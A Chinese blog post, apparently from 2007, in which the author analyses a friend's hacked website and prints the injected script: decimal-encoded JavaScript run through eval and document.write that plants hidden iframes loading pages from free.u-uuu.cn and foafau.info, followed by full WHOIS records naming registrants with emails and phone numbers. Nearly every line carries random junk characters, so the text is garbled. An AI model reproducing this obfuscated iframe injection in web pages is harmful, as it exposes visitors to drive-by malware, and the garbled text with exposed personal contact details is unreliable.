首发在我的博客里面，
POXd ,ON9 KpX1GrIn3 http://www.areway.cn/?p=175 ) KvGJo)(" d!57`bVOd & ci;0P#Q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
m3#rU%Wj i8w/ a <script>t=’60,105,102,114,97,109,101,
~cv322N 32,115,114,99,61,104,116,116,112,58,47,47,
?i{/iH~Sf 102,114,101,101,46,117,45,117,117,117,46,99,
p C^=?!:U 110,47,101,114,114,111,114,46,104,116,109,
R1 C}S 32,119,105,100,116,104,61,49,48,48,32,104,
(jmF7XfU 101,105,103,104,116,61,48,62,60,47,105,102,
>;Ag7Ex 114,97,109,101,62′;
\^o I3K0` t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
<#nt?Xn s,CN<`/>x <script>t=’60,105,102,114,97,109,101,32,115,
$ U=j<^R}a 114,99,61,104,116,116,112,58,47,47,102,114,
l"zwH 101,101,46,117,45,117,117,117,46,99,110,47,
eQqnPqi- 101,114,114,111,114,46,104,116,109,32,119,
0ZM#..3sI 105,100,116,104,61,49,48,48,32,104,101,105,
!P8Y(i 103,104,116,61,48,62,60,47,105,102,114,97,
"%I<yUP]U 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
]A&pX AM document.write(t);</script>
k'8tqIUN ] F5y0(=$T <html xmlns=”
@#r6->%W http://www.w3.org/1999/xhtml J5!-<oJ/ “>
y
g:&cIr, <head>
#_SsSD=.Sy <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
-xXdT$Xd <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
G)IK5zCDd <title>首页 - 爱生活家庭网
V1#:[o63+ N&yr?b'!-* 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
m)l'i!Y 转换字符串后的大概内容是（谁点击后果自付）：
:y.~IQN <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Y 'y
yrn} 8|L;y[v 查询玉米u-uuu.cn的详细信息：
&j}:8Tst Domain Name: u-uuu.cn
t
i&!_ ROID: 20070901s10001s64972306-cn
"T@9#7Obu Domain Status: ok
'pnO HT Registrant Organization: 王雷
! tzk7D Registrant Name: 王雷
M ]Hf>7p Administrative Email:
czlovexs@126.com T@jv0/(+ Sponsoring Registrar: 北京万网志成科技有限公司
;&dMtYb Name Server:ns.yovole.com
~ _SR cM{ Name Server:ns1.yovole.com
i@`qa m
Registration Date: 2007-09-01 17:54
5<XWbGW Expiration Date: 2008-09-01 17:54
vw6 >eT 最后PING了一下地址 都没有什么….
kGmz1S}2 %At.nlss 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
RkZyqt
@+ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
cJ E4uL< <script language=”javascript” src=”
%p:Z(zU http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script z3c7 >
\`0s %F:V} 这个玉米应该有可能是木马作者的：
p`2Q6 foafau.info的详细信息：
11vAx9 Access to INFO WHOIS information is provided to assist persons in
EQ tY b"_ determining the contents of a domain name registration record in the
5?Ukf$)x Afilias registry database. The data in this record is provided by
a9u2Wlz Afilias Limited for informational purposes only, and Afilias does not
RnSll- guarantee its accuracy. This service is intended only for query-based
J#gG*( access. You agree that you will use this data only for lawful purposes
KV)if' and that, under no circumstances will you use this data to: (a) allow,
e I9#JM|2 enable, or otherwise support the transmission by e-mail, telephone, or
bc gXpP facsimile of mass unsolicited, commercial advertising or solicitations
-TMg9M4 to entities other than the data recipient’s own existing customers; or
9m.MGJbQ_f (b) enable high volume, automated, electronic processes that send
Wn{MY=5Y queries or data to the systems of Registry Operator, a Registrar, or
v|MT^. Afilias except as reasonably necessary to register domain names or
Cg(&WJw(ep modify existing registrations. All rights reserved. Afilias reserves
sd %m{P2 the right to modify these terms at any time. By submitting this query,
Bg[_MDWc-P you agree to abide by this policy.
J4x|Af p Domain ID:D22418703-LRMS
hSz_e Domain Name:FOAFAU.INFO
uPy5 < c Created On:20-Nov-2007 16:05:42 UTC
_T_6Yl&cf) Last Updated On:20-Nov-2007 16:05:44 UTC
`mH]QjAO Expiration Date:20-Nov-2008 16:05:42 UTC
v\@pZw=x Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
6zi 5 #2 3 Status:CLIENT DELETE PROHIBITED
(tyky&$! Status:CLIENT RENEW PROHIBITED
GExr] 2r Status:CLIENT TRANSFER PROHIBITED
kl1/ ( Status:CLIENT UPDATE PROHIBITED
;|`< B7xf Status:TRANSFER PROHIBITED
} eF
r,bJ Registrant ID:GODA-040110615
u#y#(1
= Registrant Name:liu hong
,D'm#Fti Registrant Organization:
.D;6
r4S Registrant Street1:beijing
9}_' Registrant Street2:
i;atYltEJ2 Registrant Street3:
&e78xtA { Registrant City:beijing
X~ cdM1z? Registrant State/Province:
cm0$v8 Registrant Postal Code:100000
@+0dgkJ Registrant Country:CN
Cmp5or6d Registrant Phone:+86.860108888777
b!e0pFS; Registrant Phone Ext.:
LJ6l 3)tpD Registrant FAX:
M0g=gmau Registrant FAX Ext.:
*+XiBho Registrant Email:bbbshiji@163.com
+/bD9x 1H Admin ID:GODA-240110615
s(?%A Admin Name:liu hong
(d/!M
n6L Admin Organization:
+v~x_E5FP Admin Street1:beijing
\H9:%Tlp~4 Admin Street2:
]9PG"<^k Admin Street3:
mE=Ur Admin City:beijing
?6]B6 Admin State/Province:
~%2yDhdQ Admin Postal Code:100000
XS
#u/!
Admin Country:CN
' N^ *, Admin Phone:+86.860108888777
7n?yf_ je Admin Phone Ext.:
Z- t&AH Admin FAX:
t3! OqM Admin FAX Ext.:
{\vVzy,t7 Admin Email:bbbshiji@163.com
:T|9;2 Billing ID:GODA-340110615
d"@ /{O^ 1 Billing Name:liu hong
Nw*F1*v` Billing Organization:
3 yw$<lm Billing Street1:beijing
CiGXyhh Billing Street2:
Ms Bm0r`a Billing Street3:
IM ncl=1 Billing City:beijing
r{ B28'f[ Billing State/Province:
2;j<{' Billing Postal Code:100000
9 *uK]/c Billing Country:CN
w3 kkam" Billing Phone:+86.860108888777
vaJl}^T Billing Phone Ext.:
mP=[h
|a$r Billing FAX:
xjSz Q| k- Billing FAX Ext.:
4"H * hKp Billing Email:bbbshiji@163.com
][b|^V Tech ID:GODA-140110615
^|=P9'4Th Tech Name:liu hong
LF
@_|o I Tech Organization:
PU[<s r#, Tech Street1:beijing
^^zj4 }On? Tech Street2:
* n FzfV Tech Street3:
e(N},s:_ Tech City:beijing
97U O H Tech State/Province:
xticC> Tech Postal Code:100000
vcsSi%M\U Tech Country:CN
W/%hS)75 Tech Phone:+86.860108888777
[& Z-
* a Tech Phone Ext.:
1r}; cY6 Tech FAX:
@?3^ Ks_ Tech FAX Ext.:
k s\q^ten Tech Email:bbbshiji@163.com
-`D YDIr Name Server:NS27.DOMAINCONTROL.COM
(~%NRH<\ Name Server:NS28.DOMAINCONTROL.COM
[u$|/ Name Server:
i39ZBs@ Name Server:
<i4]qO(0u Name Server:
/t<
& Name Server:
o[}Dj6e\t Name Server:
\|9B:y'y Name Server:
sQj]#/yK: Name Server:
y/ Bo 4fM Name Server:
<ch}]-_ Name Server:
N$=9R Name Server:
ErJ /h?+ Name Server:
^N[ Cip}8 LT
Pr8^ 接着下载每个文件里面的代码：
hRRxOr#*$ 一步一步看..
H la?\ 
u
z7|!G!43 
C 0 KFN 
7Mq{Py1 
bhGRD{= 
_/z_
X 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
